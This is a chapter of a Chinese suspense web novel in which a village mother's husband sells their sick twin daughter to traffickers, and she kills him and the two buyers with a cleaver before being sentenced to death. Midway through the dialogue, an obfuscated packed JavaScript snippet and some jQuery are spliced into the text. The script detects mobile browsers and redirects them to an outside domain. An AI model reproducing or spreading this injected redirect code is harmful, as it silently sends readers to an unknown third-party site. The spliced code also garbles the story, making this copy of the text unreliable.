13. 第 13 章

作品:《双生花[悬疑]

    最后一抹暮色沉入山底。


    陈琴不再跟孟德义哭闹,村民们点头,露出满意的微笑,渐渐从现场散去。


    只有徐伯,在众人都没注意时,察觉到陈琴低头时的一抹冷意。


    他看她,心中有了猜测。


    农村的天黑得特别沉,不到半小时,天空便被一片墨色覆盖。


    *


    一台拖拉机,此时正安安静静停在出村的路口上。


    它的驾驶室里,黄色的光点若隐若现。


    急促的呼吸声逐渐靠近,驾驶室里的人灭掉烟头,将另一侧的门推开。


    “就知道你会来。”他说。


    陈琴露出感激的表情:“谢谢你徐伯,村子里只有你肯帮我和男男了。”


    “哪里的话,应该的。”


    陈琴苦笑,爬上副驾驶位:“其他人可不这么想。”


    徐伯害了一声,按下手栓,脚踩油门:“那是他们不知道失去孩子后的生活有多痛苦。”


    他的声音很轻,每个字却像千斤一般砸在陈琴的胸口上。


    “……我很抱歉……”


    她差点忘了,徐伯多年前也曾有过一个孩子。


    不是亲生的,是从隔壁村的公厕里抱回来的。


    听说抱回来时饿得连吃奶的力气都没有了,是徐伯一勺一勺,耐心把娃喂饱,又耐心把娃拉扯到跟同龄孩子一样白白胖胖。


    只可惜……


    老天爷心狠。


    一年后,他抱回来的孩子还是去世了。


    车内有片刻沉默,直到拖拉机正式上路,陈琴才听旁边人平静地说:“不是你的错,没什么抱歉的。”


    “是我跟那女娃没缘分。”


    “走了也好,省得跟着我这个鳏夫吃苦,以后嫁出去指不定被人瞧不起和欺负呢。”


    陈琴却摇头:“不,你女儿跟着你很幸福,不信你看。”


    说着,腾出抱孩子的手,指了指天上。


    “看到那颗星星没,刚才在我们说话时一直在闪动。”


    “一定是你女儿在天上听见了,跟你笑着打招呼呢。”


    放在方向盘上的手颤了颤,徐伯强忍着,从喉咙里努力挤出俩字:“是嘛……”


    陈琴转回头,静静看着徐伯。


    他们什么都没说,但很统一的,俩人的眼睛里都有泪光在闪烁。


    夜色如墨,漆黑的小道上除了拖拉机笔直照射出的光,其他什么都看不见。


    嘟嘟嘟的轰鸣声中,突然,一个阴影从草丛闪了出来!


    “有人!”


    陈琴吓得喊出声。


    徐伯猛踩刹车。


    “谁啊?大晚上不要命了!”


    陈琴拧起眉头,只觉得那一束灯光下,站着的人影有些熟悉。


    突然!


    她瞳孔赫然大睁!


    “是孟娣!!!”


    她惊呼!


    该死,这淘气鬼,深更半夜的怎么跑到这儿来了?!


    这可是村外了啊,要是妹妹遇到什么危险,她无论如何都不会原谅自己!


    “娣娣,你怎么跑出来了!”


    带着责备,更带着担心,她踩着光的边缘,冲出副驾驶室,用力拽住妹妹。


    妹妹孟娣却眨巴着水灵灵的眼睛,眼中带着无辜。


    “……妈妈……你和姐姐不见了……我想你……”


    到底是3岁的小孩儿,睁眼醒来后发现枕边的妈妈不见了,当下便要找妈妈。


    陈琴很愧疚。


    愧疚自己背着妹妹,偷偷摸摸从家里跑了出来。


    另一面,她不由得好奇,这么小的孩子,到底怎么摸黑找到出村的路的?


    “妈妈,你不要走,我想你……”


    见陈琴愣在原地,妹妹孟娣忽然带上哭腔。


    这一哭,陈琴的心更软了。


    “妹妹别怕,妈妈哪里都不走,妈妈就是带着姐姐去看病。”


    一边安抚,她一面焦急琢磨着,该怎么处理妹妹。


    是把妹妹一起带进城,还是先把妹妹送回去,再偷摸出来?


    感觉两个都不合适。


    一起带出去,到时候她既要顾着看病的姐姐,又要眼睛盯着随时可能乱跑的妹妹,她就一双眼睛两只手臂,哪里管得过来?


    可是不带吧,以妹妹的性子,铁定大哭大闹。


    而这一哭,不得把里屋熟睡的孟德义吵醒?


    届时发现她悄悄溜走,孟德义绝对要揍她,揍完还会把她和姐姐关起来,防止后半夜又跑出去。


    想到这些,陈琴更加难以抉择。


    刺眼的白光下,她咬紧牙关,正思考着是否有第三个方案,忽然,小路旁边的草丛动了动。


    一个令她胆寒的人影出现。


    “孟德义……!”她差点失声。


    他、他怎么会出现在这儿?


    目光死死盯着对方,只一刹那,她反应过来——是妹妹孟娣!


    “娣娣,你……”


    陈琴半张着嘴,想问妹妹真相是不是她猜想的那样,孟德义却先开口了。


    “死婆娘,敢骗老子!老子看你是不想活了!”


    “还好娣娣长了个心眼儿,半夜看你溜出家门,赶紧跑我房间把我叫醒,要不然明早老子起床,发现人去楼空了!”


    果然。


    果然是这样。


    陈琴捏紧拳头,确认自己溜走的事果真是孟娣告的状。


    可是,她那么小,才三岁,没有任何人教她,她竟然自己学会了给孟德义通风报信。


    怎么会这样……


    陈琴吃惊,同时更感到一阵痛心疾首。


    孩子是她拼了老命生下来的,抚养也是她一个人起早贪黑承担的,回想过去3年,为了姐姐和妹妹两个孩子,她没睡过一天好觉,没吃过一顿好肉,一有好东西,她都是紧着俩孩子。


    可是为什么?


    她付出巨大心血养出来的宝贝,回头竟这么对待自己?


    心脏突然发疼,陈琴捂住胸口,身子慢慢蹲了下去。


    *


    陈琴一夜没睡。


    她害怕。


    怕眼睛一闭一睁,姐姐就出事了。


    还好,老天保佑,姐姐的病自己控制住了。


    没有呼吸不畅,没有胸口发疼,憋红的小脸也慢慢褪去潮色,恢复到常态。


    只是……这心脏上的毛病始终是个隐患。


    陈琴皱着眉啃着指甲,开始思索该怎么带着姐姐逃离这个家。


    就在这时。


    被孟德义从外面反锁上的门开了。


    陈琴唰地站起来,眼神写满警惕。


    “你要干什么?”


    孟德义从门缝背后走入,脸上一反常态地挂着笑。


    不正常。


    这非常不正常。


    陈琴心中警铃大响。


    不等她上前把人拦住,孟德义的身后,一男一女两个陌生人跟着现身。


    孟德义看都没看陈琴一眼,一双贪婪的眼睛从进屋开始就直勾勾盯着床上的姐姐。


    紧接着他回头,对胖女人道:“就是床上那个,你们验验货。”


    胖女人大步流星走过去,伸手,狠狠捏了把孟男的大腿。


    “还凑合,能收。”


    “验什么货!你们滚开,不要碰我的孩子!”


    反应过来的陈琴嗖地挡在床边,气势如狮。


    胖女人撇她一眼,而后转头看向孟德义:“啥情况?你俩口子没谈拢?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840572|159167||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    孟德义赶忙赔笑:“没有没有!你们尽管收,我婆娘这边不用理。”


    胖女人轻哼:“这还差不多,老伍,过来装货。喏,这是酬金,当面点清,人走不退。”


    一叠大额纸币从胖女人兜里掏出。


    孟德义毫不犹豫接过,低下头,手指在唇边沾了下口水,开始数钱。


    随着钞票越数越多,他的眼越来越红。


    陈琴的眼也红了。


    但不是因为那叠钱,而是因为愤怒,巨大的愤怒!


    “孟德义你个孙子!你竟敢卖我的女儿!我跟你拼了!”


    常年的压抑在这一刻爆发,陈琴没想到,在她大脑发起指令前,她的身体率先做出反应。


    枕头下方的菜刀呼啦砍出去!


    刀刃切开皮肉的声音应声而响。


    “啊——!”


    凄厉的惨叫声直冲上屋顶。


    孟德义捂着被切开近乎一半的左边肩膀,痛苦又惊恐。


    “妈的死婆娘,你敢砍我!”


    陈琴冷眼,任由沾在眼角上的血点往下流淌。


    “我不仅要砍你,我还要砍死——你。”


    说完再度举起手里的菜刀。


    怨恨在刀刃上凝聚。


    接着,落下。


    一刀,两刀,三刀……


    赤红的花瓣在眼前喷洒。


    起初,花瓣下的□□还能挣扎,惊叫声也一波一波掀起,但渐渐的,随着刀光一次次闪落,挣扎消失了,惊叫也变为低低的呻吟,直到最后彻底断绝。


    陈琴气喘吁吁地站在那滩勉强可以称之为人形的□□前,几秒后,她笑了。


    屋内的胖女人和男人吓得六神无主。


    俩人转过身,争先恐后往外逃。


    陈琴追了上去。


    依旧是一刀,两刀,三刀……


    胖女人第二个倒下,紧接着是打算来收货的男人。


    前后不过几分钟,陈琴脚边便躺了三具尸体。


    *


    “根据《中华人民共和国刑法》的第X条规定,被告人陈某因犯故意杀人罪,罪行极其严重,依法判处死刑。本案判决为终审判决,立即执行。”?


    小河村内,得知法庭判决消息的村民们不无唏嘘。


    有人说陈琴实在是不值当,夫妻之间哪有不闹矛盾的,吵一吵闹一闹,事情也就过去了;也有人说陈琴死得应当,一个妇道人家竟然敢违背丈夫意愿,这样的人留着也是祸害,不如早点处置算了。


    更有人说陈琴太傻,不会算这笔帐。


    既然姐姐孟男有先天性疾病,不如在买家不知情的情况下脱手卖掉,好换一笔钱。


    有钱了干啥不行?


    再生她两三个、四五个都可以!


    咚。


    锄头落在田地里的声音有些刺耳,那些围拢在一起嚼陈琴舌根的村民们看见徐伯一下又一下挖着土,不自觉放低音量。


    “得了别说了,没看徐伯心情不好嘛。”


    “害说起来,陈琴被判死刑,他也有一份‘功劳’。那晚如果不是他开着拖拉机带陈琴出村,孟德义不会找过去,俩人也不会爆发冲突,第二天陈琴更不至于疯了一样去砍人。”


    “谁让他想做好人?呵呵,叫他瞎掺和,这下好了,白白害死陈琴。”


    咚。


    锄头又一次重重落下,众人终于闭了嘴。


    徐伯冷眼收回锄头,没说一句话,沉默离开现场。


    陈琴死了,孟德义也死了。


    虽然这么想不好,但他打心底里认为,孟德义死得其所。


    就是可怜了陈琴这妹子,还有她那一对双胞胎女儿。


    不知道法院那边,会怎么处理姐姐和妹妹?